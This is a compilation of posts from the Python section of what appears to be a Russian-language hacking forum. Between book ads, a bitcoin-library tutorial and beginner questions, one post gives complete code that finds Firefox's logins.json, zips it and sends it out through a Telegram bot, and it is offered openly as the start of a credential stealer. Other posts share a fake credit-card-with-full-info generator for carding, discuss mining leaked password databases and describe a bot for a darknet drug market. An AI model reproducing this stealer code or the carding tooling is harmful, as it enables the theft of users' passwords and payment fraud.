Рассмотрены современные интерпретаторы языка Python. Описано устройство reverse shell, файлового вируса, трояна, локера и шифровальщика. Представлены примеры инструментов для автоматизированного сбора информации о компьютере, динамического анализа вредоносного кода, в том числе с использованием API VirusTotal. Приведены примеры программ для разгадывания капчи, поиска людей на видео, обработки сложных веб-форм, автоматизации iOS. Показано, как написать на Python новый навык для голосового помощника «Алиса» и различные программы для одноплатных компьютеров. Для программистов и специалистов по информационной безопасности.
](https://cloud.mail.ru/public/65Wy/WiD5ummsJ)
Вам открыли доступ к файлу. Отправлено с помощью Облако Mail
cloud.mail.ru
Вы уже изучили основы синтаксиса Python и готовы программировать? Отточите свои навыки на самых интересных задачах — графике, играх, анимации, расчетах и многом другом. Книга написана для двух групп людей. В первую входят те, кто уже освоил основы Python и программирования вообще, но все еще не вполне представляет, как писать собственные программы. Этим людям может казаться, что программирование для них «не сложилось». Можно успешно решать практические упражнения из учебников, но с трудом представлять себе, как выглядит полная программа. Благодаря сначала копированию, а затем и воссозданию игр из данной книги эти люди постепенно поймут, как изучаемые здесь понятия программирования компоновать во множество настоящих программ.
Во вторую группу входят новички в сфере программирования, достаточно азартные и настроенные на приключения, желающие погрузиться в работу с головой и сразу же начать создавать игры, имитационные модели и программы, обрабатывающие большие массивы числовых данных. Таких людей устраивает копирование кода и изучение его по ходу дела. Или, возможно, они уже умеют программировать на другом языке, но Python им внове. Эта книга, хотя и не заменяет полноценный вводный курс Python, кратко знакомит читателя с его основами и учит использовать отладчик для исследования внутренних механизмов работы программы во время выполнения.
](https://cloud.mail.ru/public/YrZf/rjCjEdTAE)
Вам открыли доступ к файлу. Отправлено с помощью Облако Mail
cloud.mail.ru
По мотивам https://xss.is/threads/25432/
Сегодня есть онлайн сервисы, которые отправят вашу транзакцию в сеть бесплатно и безопасно. Вам даже не нужно устанавливать ноду биткоина локально и выкачивать весь блокчейн. Еще лучше то, что под Python есть супер-удобные библиотеки, чтобы пользоваться этими сервисами.
Например,bit
Python:Copy to clipboard
pip install bit
Ключи
У биткоина две сети – главная и тестовая. В каждой свои ключи и свои виды
адресов. Генерация нового ключа для основной сети, где адреса обычно
начинаются с цифры:
Python:Copy to clipboard
from bit import Key
key = Key()
print(k.address) # 1C8REeQUnXE3HtLCYXVG21AryDxRXnnyar
Класс Key – псевдоним для PrivateKey:
Python:Copy to clipboard
from bit import Key, PrivateKey
print(PrivateKey is Key) # true
Для демонстрационных целей, я буду использовать тестовую сеть. В ней монеты ничего не стоят и их легко получить. Адреса тестовой сети обычно начинаются с буквы m или n! Ключ тестовой сети описан классом PrivateKeyTestnet:
Python:Copy to clipboard
from bit import PrivateKeyTestnet
k = PrivateKeyTestnet()
print(k.address) # mrzdZkt4GfGMBDpZnyaX3yXqG2UePQJxpM
Если мы в конструкторе класса ключа не указали параметров, то каждый раз создается новый (почти наверняка пустой – без баланса) адрес. Генерация происходит локально (без обращения к онлайн сервисам) и очень быстро. Но, если приватный ключ не сохранен, то после завершения программы доступ будет утерян. Поэтому сгенерируем приватный ключ и запишем его в блокноте. Адрес получается по свойству k.address, а приватный ключ можно получить в разных форматах, самый удобный из них – WIF (Wallet Export Format) – получаем строку методом k.to_wif():
Python:Copy to clipboard
from bit import PrivateKeyTestnet as Key
k = Key()
print('Private key:', k.to_wif())
print('Public address:', k.address)
# Private key: cQqh9xFys2KJyWhHMaBwG2kFLCNBCmTgxVqnPTXK6Vng4vU6igoV
# Public address: mhnmzFN5gr6gvmEr1t8UcRh6rdTh6JxuDe
Также по приватному ключу можно получить еще SegWit адрес. Если очень кратко, то этот адрес будет работать быстрее, чем традиционный.
Python:Copy to clipboard
print(k.segwit_address) # 2MsWNuzx8EfgEeGLesLmkMM6q3kajEjVnVh
Воспользуемся биткоин краном, чтобы
получить немного тестовых монет бесплатно:
А пока она идет, создадим класс ключа уже из сохраненной секретной строки:
Python:Copy to clipboard
from bit import PrivateKeyTestnet as Key
k = Key('cQqh9xFys2KJyWhHMaBwG2kFLCNBCmTgxVqnPTXK6Vng4vU6igoV')
print(k.address) # mhnmzFN5gr6gvmEr1t8UcRh6rdTh6JxuDe ура тот же!
Приватный ключ может быть представлен, как число, байты, HEX-строка, в WIF, DER и PEM форматах:
Python:Copy to clipboard
from bit import PrivateKeyTestnet as Key
k = Key('cQqh9xFys2KJyWhHMaBwG2kFLCNBCmTgxVqnPTXK6Vng4vU6igoV')
print('Int:', k.to_int(), end='\n\n')
print('Hex:', k.to_hex(), end='\n\n')
print('Bytes:', k.to_bytes(), end='\n\n')
print('WIF:', k.to_wif(), end='\n\n')
print('DER:', k.to_der(), end='\n\n')
print('PEM:', k.to_pem(), end='\n\n')
Вывод:
Code:Copy to clipboard
Int: 4397583691621789343100573085...453641742227689755261559235
Hex: 6139710fb66e82b7384b868bda1ce59a0bd216e89b8808ae503c5767e4d461c3
Bytes: b'a9q\x0f\xb6n\x82\xb78K\x86\x8b\xd...d4a\xc3'
WIF: cQqh9xFys2KJyWhHMaBwG2kFLCNBCmTgxVqnPTXK6Vng4vU6igoV
DER: b'0\x81\x84\x02\...xb3b\x8e\x1ar\xc6'
PEM: b'-----BEGIN PRIVATE KEY-----\nMIGEA.....O\nrRnD/Ls2KOGnLG\n-----END PRIVATE KEY-----\n'
Также, удобно создавать класс ключа из WIF формата функцией wif_to_key, она сама определит тип сети и создаст нужный класс:
Python:Copy to clipboard
from bit import wif_to_key
k = wif_to_key('cQqh9xFys2KJyWhHMaBwG2kFLCNBCmTgxVqnPTXK6Vng4vU6igoV')
print(k) # <PrivateKeyTestnet: mhnmzFN5gr6gvmEr1t8UcRh6rdTh6JxuDe>
Надеюсь монеты с крана вам уже дошли, и мы продолжим.
Баланс
Узнаем баланс нашего кошелька. Для этого внутри bit используются онлайн
сервисы (https://insight.bitpay.com,
https://blockchain.info,
https://smartbit.com.au). Поэтому операция не
моментальная.
Code:Copy to clipboard
from bit import PrivateKeyTestnet as Key
k = Key('cQqh9xFys2KJyWhHMaBwG2kFLCNBCmTgxVqnPTXK6Vng4vU6igoV')
print(k.get_balance()) # 1391025
ак видите, на тот момент на адресе лежало 1391025 сатоши. 1 сатоши = одна стомиллионная целого биткоина (10-8) – самая маленькая неделимая частичка. Библиотека bit удобна еще тем, что содержит встроенный конвертер валют, поэтому баланс можно получить в любой поддерживаемой валюте: хоть в милибиткоинах, хоть в долларах, хоть в рублях. Просто передайте название валюты аргументом:
Code:Copy to clipboard
print(k.get_balance('mbtc'), 'MBTC') # 13.91025 MBTC
print(k.get_balance('usd'), 'USD') # 129.84 USD
print(k.get_balance('rub'), 'RUB') # 8087.35 RUB
Как послать монеты?
Очень просто: методом send. Создадим еще один ключ (dest_k) и пошлем ему часть
биткоинов от source_k:
Code:Copy to clipboard
from bit import PrivateKeyTestnet as Key
source_k = Key('cQqh9xFys2KJyWhHMaBwG2kFLCNBCmTgxVqnPTXK6Vng4vU6igoV')
dest_k = Key('cP2Z27v1ZaBz3VQRRSTQRhgYt2x8BtcmAL9zi2JsKaDBHobxj5rx')
print(f'Send from {source_k.address} to {dest_k.address}')
r = source_k.send([
(source_k.address, 0.0042, 'btc')
])
print(r) # ID транзакции
Как вы помните, у транзакции может быть много выходов, поэтому первый аргумент
функции send – список – кому и сколько мы посылаем (кортеж: адрес, количество,
валюта). В данном случае адресат у нас один
‘n2R8xiqs6BqdgtqpXRDLKrN4BLo9VD171z’, а второй неявный выход – обратно наш же
адрес, чтобы получить сдачу. Вот эта
[транзакция](https://live.blockcypher.com/btc-
testnet/tx/a101ad526e9fb131b90aac220b8b6e8bf11b9b9848ab8ea6d4384dc5b4ccece0/)
выглядит так:
Через 5 минут я уже получил первое подтверждение перевода! Проверим список
транзакций:
Python:Copy to clipboard
transactions = source_k.get_transactions()
print(transactions)
# ['a101ad526e9fb131b90aac220b8b6e8bf11b9b9848ab8ea6d4384dc5b4ccece0', '0770f10a7b130852e38d9af44e050c9188664c12f2d31a56a62d6648a73e1264']
# Непотраченные входы:
unspents = source_k.get_unspents()
print(unspents)
# [Unspent(amount=967861, confirmations=4, script='76a91418ee4d98c345db083114990baa17d02e988cfedb88ac', txid='a101ad526e9fb131b90aac220b8b6e8bf11b9b9848ab8ea6d4384dc5b4ccece0', txindex=1, segwit=False)]
Пример для нескольких адресатов (каждая валюта будет пересчитана по курсу в биткоин):
Python:Copy to clipboard
my_key.send([
('1HB5XMLmzFVj8ALj6mfBsbifRoD4miY36v', 0.0035, 'btc'),
('1Archive1n2C579dMsAu3iC6tWzuQJz8dN', 190, 'jpy'),
('129TQVAroeehD9fZpzK51NdZGQT4TqifbG', 3, 'eur'),
('14Tr4HaKkKuC1Lmpr2YMAuYVZRWqAdRTcr', 2.5, 'cad')
])
Если вернуть сдачу не себе, а на другой адрес – аргумент leftover:
Python:Copy to clipboard
key.send(..., leftover='адрес_для_сдачи')
Если нужно прикрепить к транзакции сообщение (до 40 байт в кодировке UTF-8) – аргумент message:
Python:Copy to clipboard
key.send(..., message='За кофе и пончик')
Функция create_transaction только создает транзакцию и подписывает ее ключом, но не посылает ее в сеть. Аргументы те же, что у send.
Комиссии
Если комиссия не указана явно, то она рассчитывается по средним значениям с
учетом длины транзакции. Средняя комиссия берется из онлайн-сервиса. Но можно
указать комиссию самостоятельно:
Python:Copy to clipboard
# комиссия за байт (будет умножена на кол-во байт)
source_k.create_transaction(..., fee=72)
# комиссия за всю транзакцию целиком
source_k.create_transaction(..., fee=200, absolute_fee=True)
Полезные константы комиссий:
Python:Copy to clipboard
from bit.network import fees
fees.DEFAULT_FEE_FAST # 10 мин
fees.DEFAULT_FEE_HOUR # 1 час
Советы
Иногда лучше пользоваться сервисом для комиссий, потому что из-за смены
нагрузки на сеть комиссия для быстрого перевода может варьироваться в широком
диапазоне.
Работа с внешними онлайн сервисами может тормозить. В принципе можно поменять их приоритет, но это тема отдельной статьи. Очень хорошо, если вам доступна своя нода биткоин, тогда вы можете подключиться к ней и выполнять все действия без лишних задержек и ограничений! Вот так:
Python:Copy to clipboard
from bit.network import NetworkAPI
# тестовая нода
NetworkAPI.connect_to_node(user='user', password='password', host='localhost', port='18443', use_https=False, testnet=True)
# подключение к ноде главной сети
NetworkAPI.connect_to_node(user='user', password='password', host='domain', port='8332', use_https=True, testnet=False)
# на выбор или вместе
(c) Специально для канала @ pyway
Немного знаю синтаксис, был опыт с Питоном. Планирую создавать сайты/скрипты/софты для автоматизации для небольшого заработка/развлечения/хобби. Есть много свободного времени
Автор: Джимми Сонг
Год: 2020
Содержание:
Скачать:
![gofile.io](/proxy.php?image=https%3A%2F%2Fgofile.io%2Fdist%2Fimg%2Flogo- small-og.png&hash=32429581fada6ae1887e27dfa99f76aa&return_error=1)
](https://gofile.io/d/16fu6u)
Gofile is a free, secure file sharing and storage platform. With unlimited bandwidth and storage, you can easily store and share files of any type without any limits. Our advanced features, such as CDN support and password protection, make Gofile the ideal choice for individuals and businesses...
gofile.io
Вечер добрый
Учусь писать телеграм ботов ,готов написать(простенького) бота для ваши нужд.
Пишите лс, лично все обсудим и скажу смогу ли написать такого бота который вам
нужен.
Ботов выкладываю на хероку, если что .
Пишу мультифункционального бота для Гидры, надеюсь на вашу помощь и поддержку.
Есть 2 готовых модуля:
- для генерации читабельных ников/логинов/паролей
- рандомизатор текста по шаблону по типу как на сайте
http://miniwebtool.ru/
Бота пишу на либе Helium , для того чтобы подружить фаерфокс с тором - юзаю собственный впн, который проксирует весь траффик в тор.
Бот собственно пока, что не готов полностью.
Способен парсить магазины по городам и по списку товаров (другие виды парсинга легко добавить в самом коде)
Способен делать рассылку сообщений по списку дилеров. Пока что рандомизатор текстов еще не привязал.
Стоит ли таким делиться тут?
Еще прошу вас накидать в этой теме всяких полезностей по гидре, софт, скрипты и тому подобное, буду очень признателен.
Здарова всем
Есть у кого слитый курс по изучению питона? Языков не знаю. Желательно курс
для совсем начинающих
Заранее спасибо
Need Help to uncompyle .pyc to .py Please help me to fix this.
Пример чекера проксей SOCKS4 и SOCKS5 по сокетам на питоне.
Проверяем тип прокси и валид всего двумя байтами.
Python:Copy to clipboard
# Задаем хост и порт прокси к которому нужно произвести подключение
host = 'localhost'
port = 9150
# Создаем пакет байтов который будет отослан на прокси
data_socket5 = struct.pack('BBB', 0x05, 0x01, 0x00)
# Для SOCKS4 надо указать порт подключения
data_socket4 = struct.pack('BBH', 0x05, 0x01, port)
# Создаем и указываем тип подключения
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Устанавливаем таймаут в секундах
s.settimeout(15)
# Подключаемся
s.connect((host, port))
# Отсылаем данные
s.sendall(data_socket5)
# Получаем ответ от сервера
response = s.recv(2)
# Проверяем ответ (5 - это версия прокси, 0 - авторизация не требуется), если \x05\x00 то все отлично
if response == b'\x05\x00':
print(f'SOCKS5: {host}:{port}')
# Если мы посылаем data_socket4,
# то сервер должен вернуть NULL BYTE (нул байт).
if response == b'':
print(f'SOCKS4: {host}:{port}')
# Закрываем соединение
s.close()
Прикрутил многопоток и наговнокодил
Spoiler: multithread
](https://pastebin.com/1rsB7TWZ)
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
pastebin.com
Почитать чо как
](https://ru.wikipedia.org/wiki/SOCKS#%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB_SOCKS_5)
ru.wikipedia.org
Spoiler: Содержание
Взято сhttps://pythonworld.ru/
Хочу прогнать пару десятков GB баз слитых паролей на "маски". Например
Code:Copy to clipboard
pakistan123
abc123
RAJA@123456
yaali@123
remote@123
Видно что повторяется окончание 123.Часто бывает окончание пароля добавляют
1,!,год рождения, и тд.Кто-то в утекшем пароле меняет все о на 0, меняет
прописную первую букву на заглавную и тд.
Как правильно проанализировать такую инфу и получить статистику, к примеру
Окончаний 123 - 100к в базе
Окончание ! - 50к в базе
Начало с заглавной буквы- 200к
Начало ! - 30к и тд
Пайтон по моему неплохо подойдет для этого.
Hidden content for authorized users.
После прохождения этого курса вы познакомитесь с основами Python и:
Что мы изучим:
ССЫЛКА НА КУРС:https://cloud.mail.ru/public/izy7/N6hnNVN32/
Несколько дней назад мне перепал архив с 1+ лямами строк различных сс. Как
оказалось, в этом архиве даже номера карт были невалид.
Мне стало интересно откуда тогда этот архив взялся (я его нашел на старом
сервере) и кто его автор.
По итогу вместо поисков мне почему-то стало интересна эта тема и я решил сесть
за написание скрипта на питоне, который бы генерировал данные от карт + фул
инфу о кх.
Зачем я это делал? Не знаю. Возможно видел в этом какую-то перспективу, если
бы существовал какой нибудь чекер, который мог прогнать условные 1 миллион сс.
Так же была идея сесть за написание скрипта, который бы генерировал все
возможные комбинации срока карты + цвв, от указанного номера карты.
Есть две версии этого скрипта.
Первая версия генерирует номер карты случайно, нужно лишь указать тип карты
(виза\мастеркард и т.д)
Вторая версия генерирует номер карты по нужному для вас бину.
Я скину обе. Может кому-то пригодится.
Заранее извините за говно-код. Лепил это для себя, а не на продакшн.
#pip install Faker
Spoiler: code
Python:Copy to clipboard
import random
from faker import Faker
fakeit = Faker()
gen = int(input("Введите количество для генерации сс: "))
f = open("cc.txt", 'w')
for card in range (gen):
np = str(fakeit.credit_card_number(card_type='visa')) + "|" + str(random.randint(2, 12)).zfill(2) + "|" + str(random.randint(2021, 2025)) + "|" + str(fakeit.credit_card_security_code()) + "|" + str(fakeit.name()) + "|" + str(fakeit.date_of_birth(tzinfo=None, minimum_age=20, maximum_age=55)) + "|" + str(fakeit.building_number()) + " " + str(fakeit.city()) + " " + " " + str(fakeit.street_address()) + " " + str(fakeit.postcode()) + "|" + str(fakeit.ssn()) + "|" + str(fakeit.phone_number()) + "\n"
f.write(str(np))
f.close()
Вторая версия, с генерацией по нужному бину:
Spoiler: code
Python:Copy to clipboard
import random
from faker import Faker
fakeit = Faker()
f = open("cc.txt", 'w')
BIN = input("Введите бин: ")
col = int(input("Введите количество для генерации номера карты: "))
def luhn_checksum(card_number):
def digits_of(n):
return [int(d) for d in str(n)]
digits = digits_of(card_number)
odd_digits = digits[-1::-2]
even_digits = digits[-2::-2]
checksum = 0
checksum += sum(odd_digits)
for d in even_digits:
checksum += sum(digits_of(d*2))
return checksum % 10
def is_luhn_valid(card_number):
return luhn_checksum(card_number) == 0
for cc in range (col):
Number = str(BIN) + str(random.randint(0000000000, 9999999999))
f.write(
str(Number) + "\n"
)
f.close()
ff = open("cc.txt", 'r')
qa = open("valid cc.txt", 'w')
for cc in range(col):
m = ff.readline()
result = is_luhn_valid(int(m))
if result == True:
qa.write(str(m))
ff.close()
qa.close()
print("Валидных карт: " + str(len(open("valid cc.txt", 'r').readlines())))
gen = int(input("Введите количество для генерации сс+full info: "))
qa = open("valid cc.txt", 'r')
f = open("cc.txt", 'w')
for card in range (gen):
Number = qa.readline().rstrip('\n')
ann = str(Number) + "|" + str(random.randint(2, 12)).zfill(2) + "|" + str(random.randint(2021, 2025)) + "|" + str(fakeit.credit_card_security_code()) + "|" + str(fakeit.name()) + "|" + str(fakeit.date_of_birth(tzinfo=None, minimum_age=20, maximum_age=55)) + "|" + str(fakeit.building_number()) + " " + str(fakeit.city()) + " " + " " + str(fakeit.street_address()) + " " + str(fakeit.postcode()) + "|" + str(fakeit.ssn()) + "|" + str(fakeit.phone_number()) + "\n"
f.write(str(ann))
qa.close()
f.close()
Есть множество sql файлов, где есть вот такие данные
"..\\u043f\\u043e\\u0434\\u043f\\u0438\\u0441\\u0447\\u0438\\u043a\\u0430.."
это uncode escape последовательность (только с двойным \)
помогите со скриптом, которые поможет всё данные такого вида внутри файлов преобразовать в обычный текст (utf-8)..
чтобы работало
script.py input.sql output.sql
можно и не на питоне
Добрый вечер, дорогие форумчане. Давно не писал сюда контента, но вот пришел момент поделиться интересным материалам. Совсем недавно задумался над тем, как найти нужный файл в системе используя лишь среду разработки и прямые руки. Допустим вы хотите взять интересный файл и отправить его себе в любое место. Знаете примерное расположения но проблема заключается в том, что путь известен частично. И в данной статье мы постараемся решить проблему с поиском файлов используя рекурсивный подход к решению задачи.
Для примера я постараюсь найти и отправить себе файл логинов (logins.json) из браузера Firefox. Расположение по которому находиться данный файл выглядит примерно так:
C:\Users\AppData\Roaming\Mozilla\Firefox\Profiles\набор_символов.default- release
На каждом устройстве папка имеет разное название, это и затрудняет доступ к файлу. По мимо этого мы должны знать имя пользователя, что зарегистрирован в системе. Для этого будем использовать небольшое количество библиотек и 32 строчки кода. Ну а отправку данных осуществим в мой любимыйTelegram при помощи обычного бота. Как его создать вы можете прочесть в сети, поэтому заострять внимания не стану. Чтобы не превышать лимит отправки сообщения добавим в архив данные. Чтобы было меньше слов приступим к делу. Сначала импортируем библиотеки:
Python:Copy to clipboard
import getpass
import telebot
import glob
import zipfile
import os
Getpass поможет нам определить имя пользователя, а glob найдет файл. Все остальное уже знакомо и не первый раз встречается в моем коде. Далее нам нужно задать переменные, с которыми будет работать в дальнейшем. А начнем с подключения бота:
Python:Copy to clipboard
bot = telebot.TeleBot("token")
А далее начинается самое интересное. Используя рекурсивный метод поиска файлов мы создадим список с расположением нашего файла. Выглядит он примерно так:
['C:\Users\AppData\Roaming\Mozilla\Firefox\Profiles\набор_символов.default- release']
Многим данный вид списка может быть неизвестный, носит названия он кортеж (последовательность неизменяемых объектов). Теперь переходим к созданию такого формата пути вместе с нашим файлом:
Python:Copy to clipboard
name = getpass.getuser() # Узнаем имя пользователя
save = glob.glob(f"C:\\Users\\{name}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\**\\logins.json", recursive=True)
Но в дальнейшем наша программа не сможет работать с таким форматом, поэтому переводим его в более читаемый, удаляя скобки и кавычки:
Python:Copy to clipboard
cookies = ''.join(save)
Остается добавить в архив полученный файл и отправить его удобным путем. Для этого потребуется zipfile :
Python:Copy to clipboard
archive = zipfile.ZipFile(r'C:\Temp\backup.zip', 'w') # Можно указать свой путь
archive.write(cookies)
archive.close()
Ну и в итоге завершаем наш код при помощи отправки всего добытого в Telegram:
Python:Copy to clipboard
@bot.message_handler(commands=['start'])
def start_message(message):
upfile = open("C:\\Temp\\backup.zip", "rb")
bot.send_document(message.chat.id, upfile)
upfile.close()
os.remove("C:\\Temp\\backup.zip")
bot.stop_polling()
bot.polling()
Но у многих могут возникнуть недочеты и вопросы. Как это применять? Вы можете на основе этого создать свой стиллер. Для этого заставьте программу искать в папке не конкретный файл, а расширения, что имеются там.
Spoiler: Как это сделать?
Python:Copy to clipboard
import getpass
import glob
name = getpass.getuser()
save = glob.glob(f"C:\\Users\\{name}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\**\\**.json", recursive=True)
print(save)
Восстановить данные после получения поможет PasswordFox. Но важно помнить, что программа копирует весь каталог включая папки. Проще говоря вы получите полный путь к данным. Будьте осторожны и рассчитывайте данные перед отправкой, чтобы избежать ошибок.
В этой небольшой статье я постарался максимально точно поделиться своим опытом, что может предотвратить множество ошибок и вопросов. Надеюсь данная информация была полезна вам.
Автор @to_0day
Hi,
I am looking for a good VK friendlist scraper. Does someone have one, or build one? PM me.
Ребят, только начал кодить, по видосам обучения написания парсера все понятно,
но они объясняют как спарсить только внешнюю инфу каждого объявления на общей
странице.
Собственно вопрос.
Я парсю эту страницу, но если мне требуется спарсить инфу с страницы одного
объявления, допустим имя или рейтинг продавца, то как это сделать ?
Книга на русском языке.
И так, сегодня мы рассмотрим тему как грабить посты, я такое заказывал до этого, на языке Python с постоянным мониторингом каналов и пересылки статей в мои.
В этой теме мы разберем:
Здесь мы не будем создавать бота, а используем для этого обычный аккаунт telegram. Желательно использовать купленный аккаунт, т.к не следуя советам приведенным в этой теме, ваш личный акк отлетит в бан.
1. Установка библиотеки Telethon.
Создаем файл с любым удобным названием формата " .py " и редактируем любом текстовым редактором поддерживающем подсветку синтаксиса.
2. Код скрипта. Копируем код ниже и редактируем следуя теме
Code:Copy to clipboard
from telethon import TelegramClient, events
import asyncio
api_id = 2281337
api_hash = '2d4zalupa737aa228e62a1f1337fd6a13'
my_channel_id = -1001345345836
channels = [-10012345353430, -100327473252340]
client = TelegramClient('myGrab', api_id, api_hash)
print("GRAB - Started")
@client.on(events.NewMessage(chats=channels))
async def my_event_handler(event):
if event.message:
await client.send_message(my_channel_id, event.message)
client.start()
client.run_until_disconnected()
Самое первое и важное в коде после импорта библиотек вы должны заметить _api_id и api_hash , а так-же id каналов. В коде выше они вымышлены. _заменить на своё!
Важно! **api_id и api_hash это данные вашего аккаунта, они не должны попасть к третьим лицам, иначе вы потеряете аккаунт.
3.Получение / Регистрация API Telegram.** Где взять api_id и api_hash? на оф.сайте > Authorization
На приложение придет код который вы должны ввести далее.
Напомню еще раз: api_id и api_hash это данные вашего аккаунта, они не должны попасть к третьим лицам, иначе вы потеряете аккаунт.
Полученные api_id и hash заменяем в коде на свои. Важно:api_hash в коде обязательно должен быть за кавычками, 'одинарными' или "двойными" - разницы нет.
Далее ID каналов. id своего канала и id канала откуда будем брать посты:
my_channel_id = -1001345345836 #id нашего канала
channels = [-10012345353430, -100327473252340] #id каналов, откуда будем брать
материал.
Если ваш канал публичный т.е. имеется ссылка в виде @Moykanal, Вместо ID
просто вставляем его туда за кавычки
my_channel_id = '@Moykanal'
Click to expand...
тоже самое и с переменной _" channels" _но давайте рассмотрим ее поближе
channels = [-10012345353430, -100327473252340]
как видите здесь указано id двух каналов, т.е. посты будут браться
одновременно с двух каналов
Если вы просто ленитесь и у одного из каналов есть @ссылка можно сделать так:
channels = ['@tut_user', -100327473252340]
Туда-же можно вставлять неограниченное число id каналов через запятую. если
каналы активные, добавляйте не более 8 каналов, т.к. из-за флуда в свой канал
телеграм выдаст ограничение на отправку сообщений на 480 ± секунд, дальше
больше и бан.
На время теста чтобы не создавать два канала для проверки скрипта можете сделать так:
my_channel_id = 'me'
в этом случае с нужного канала сообщения будут отправляться к вам в
сохраненки.
4. Получение id каналов. Открываем диалог с ботом в телеграм: @getIDs_bot
пересылаем любой пост с нужного канала боту, после чего он выдаст:
И следующее то, что нас больше всего интересует, что мы нашим кодом будем
пересылать, и как пересылать.
5. Функция граббера. За это отвечает часть кода:
if event.message:
await client.send_message(my_channel_id, event.message)
В этом случае копируется любой пост (фото, видео, аудио, текст) целиком,
вместе с описанием и отправляется в ваш канал. Не пересылается а именно
отправляется в канал как полноценный новый пост. Пример работы
Но что если нам нужно только фото, и мы хотим своё описание к фото? заменяем
эту часть кода на следующий:
if event.message.photo:
await client.send_file(my_channel_id, file=event.message, caption="тут ваш
текст")
Скрин работы
Здесь всё просто рассмотрим аргумент event.message
event.message #-берет все посты
event.message.media #-только медиа контент исключая текст
event.message.photo #-только фото
event.message.video #-только видео
event.message.audio #-только музыка
заменяем на нужный нам вариант Если вам нужен только текст, для отправки самого 'сообщения 'используйте
await client.send_message(my_channel_id, event.message)
Если медиа контент:
await client.send_file(my_channel_id, file=event.message, caption="свой
текст")
Если же вам нужно и то и другое просто вставьте еще одну проверку ниже
if event.message.text:
await client.send_message(my_channel_id, event.message)
if event.message.video:
await client.send_file(my_channel_id, file=event.message)
====== Отправка Альбомов (сгруппированных фото) И так, разобравшись со всем что написано до этого момента, и протестировав скрипт вы наверняка обнаружите что сгруппированные сообщения разбиваются и отправляются по одному, тут же всё элементарно просто добавим следующий кусок кода к тому что выше
@client.on(events.Album(chats=channels))
async def handler(event):
await client.send_message(
chat,
file=event.messages,
message=event.original_update.message.message,
)
Должно получиться так:
PHP:Copy to clipboard
from telethon import TelegramClient, events
api_id = 2281337
api_hash = '2d4zalupa737aa228e62a1f1337fd6a13'
my_channel_id = -1001345345836
channels = [-10012345353430, -100327473252340]
client = TelegramClient('myGrab', api_id, api_hash)
print("GRAB - Started")
@client.on(events.NewMessage(chats=channels))
async def my_event_handler(event):
if event.message:
await client.send_message(my_channel_id, event.message)
@client.on(events.Album(chats=channels))
async def handler(event):
await client.send_message(
my_channel_id,
file=event.messages,
message=event.original_update.message.message,
)
client.start()
client.run_until_disconnected()
Если хотите поменять текст у альбома
message=event.original_update.message.message
редактируем следующим образом
message='Ваш текст для альбома'
Можно сказать на этом всё! Сохраняем скрипт и запускаем, наслаждаемся.
6. Запуск скрипта. Важно! Если вы впервые регаете api телеграма, запустите скрипт у вас спросит номер телефона от аккаунта, введите его и затем код отправленный вам в приложение, эта процедура делается всего один раз.
Здесь же создается еще один файл в данном случае myGrab.session название файла берется из
client = TelegramClient('myGrab', api_id, api_hash)
этот файл всегда должен находится в одной директории со скриптом и как только
появится **" GRAB - Started" **- Закройте скрипт и запустите его только через
пару часов. иначе ваш аккаунт может отлететь в бан. После этого запускайте и
держите скрипт рабочим хоть 24/7
На этом всё, и хорошего вам настроения.
Название: Современный веб-парсинг с помощью Python (2020)
Автор: Udemy
Описание:
Используйте всю мощь Scrapy, BeautifulSoup и Selenium, чтобы улучшить свою игру в веб-сканирование!
Язык: Английский
Описание
Получение доступа к нужным вам данным может помочь или сломать вас.
Вот почему компании из списка Fortune 500, такие как Walmart, CNN, Target и HSBC, используют парсинг веб-страниц, чтобы опережать и опережать данные.
Это оригинальный инструмент роста и один из их лучших секретов.
… И легко может стать и твоим.
От подделки данных до законности, сканирования библиотек, обслуживания, мониторинга и т. Д., Создание безопасного и эффективного веб-скребка - дело рискованное, но это навык, который нужен каждому специалисту по данным в своем наборе инструментов.
Сегодня мы создаем его с нуля.
Привет, меня зовут Джордан Сучук. Я инженер по искусственному интеллекту и кибербезопасности и инструктор по SuperDataScience. Я здесь, чтобы дать вам пошаговые инструкции по созданию пользовательских парсеров на Python с использованием Selenium, Scrapy и BeautifulSoup.
Добро пожаловать в современный веб-парсинг на Python.
В конце этого курса вы поймете самые важные компоненты веб-парсинга и сможете создавать свои собственные веб-парсеры для получения новых данных, оптимизации внутренних процессов и многого другого.
Кроме того, ознакомьтесь с некоторыми из наиболее распространенных методов очистки и отточите свои навыки программирования на Python, пока вы занимаетесь этим!
Во-первых, изучите основы парсинга веб-страниц, изучите структуру веб-сайта и подготовьте свою локальную среду к решению задач парсинга с помощью Scrapy, BeautifulSoup и Selenium.
Затем настройте сканер Scrapy и рассмотрите основные детали, которые можно применить для создания наборов данных или добычи полезных ископаемых.
Затем расскажем об основах BeautifulSoup, воспользуемся библиотекой запросов и парсером LXML и увеличим масштаб для развертывания нового алгоритма парсинга для извлечения основной информации о продуктах с Amazon.
В-четвертых, настройте Selenium и разверните его, чтобы решить практическую задачу реального мира. Кроме того, отправьте свое решение, чтобы получить от меня полезные отзывы.
Наконец, проверьте свои новообретенные навыки в проекте по кибербезопасности, который предполагает поиск очень конфиденциальных данных.
Мы будем писать код на Python и использовать пакет автоматического тестирования Selenium, фреймворк Python Scrapy и библиотеку BeautifulSoup для создания веб-парсеров, которые можно настроить в соответствии с вашими потребностями.
Но тщательный осмотр - это еще не все, что вам нужно.
Доступ к нашему студенческому форуму, где вы можете общаться со мной и своими однокурсниками. Задавайте мне вопросы, получайте отзывы от других учеников и вдохновляйтесь умными решениями для очистки от ваших одноклассников.
Являетесь ли вы специалистом по обработке данных, машинным обучением или инженером искусственного интеллекта, который хочет получить доступ к большему количеству источников данных; веб-разработчик, желающий автоматизировать задачи, или любитель данных с общим интересом к науке о данных и веб-парсингу…
Этот курс представляет собой подробную презентацию основ, методологий и подходов парсинга веб-сайтов, которые вы можете легко применить в своих личных проектах или в реальном мире бизнеса.
Для кого этот курс:
Всем, кто заинтересован в использовании возможностей данных, парсинга / обхода
веб-страниц и интеллектуального анализа данных.
Специалисты по обработке данных, которые хотят вывести свои навыки на новый
уровень
Инженеры ML / AI, которые хотят собрать новые источники информации или наборы
данных
Веб-разработчики, желающие получить новую информацию или автоматизировать
задачи
Любой, кто интересуется программированием или информатикой
Инженеры-программисты или программисты, желающие расширить свой набор навыков
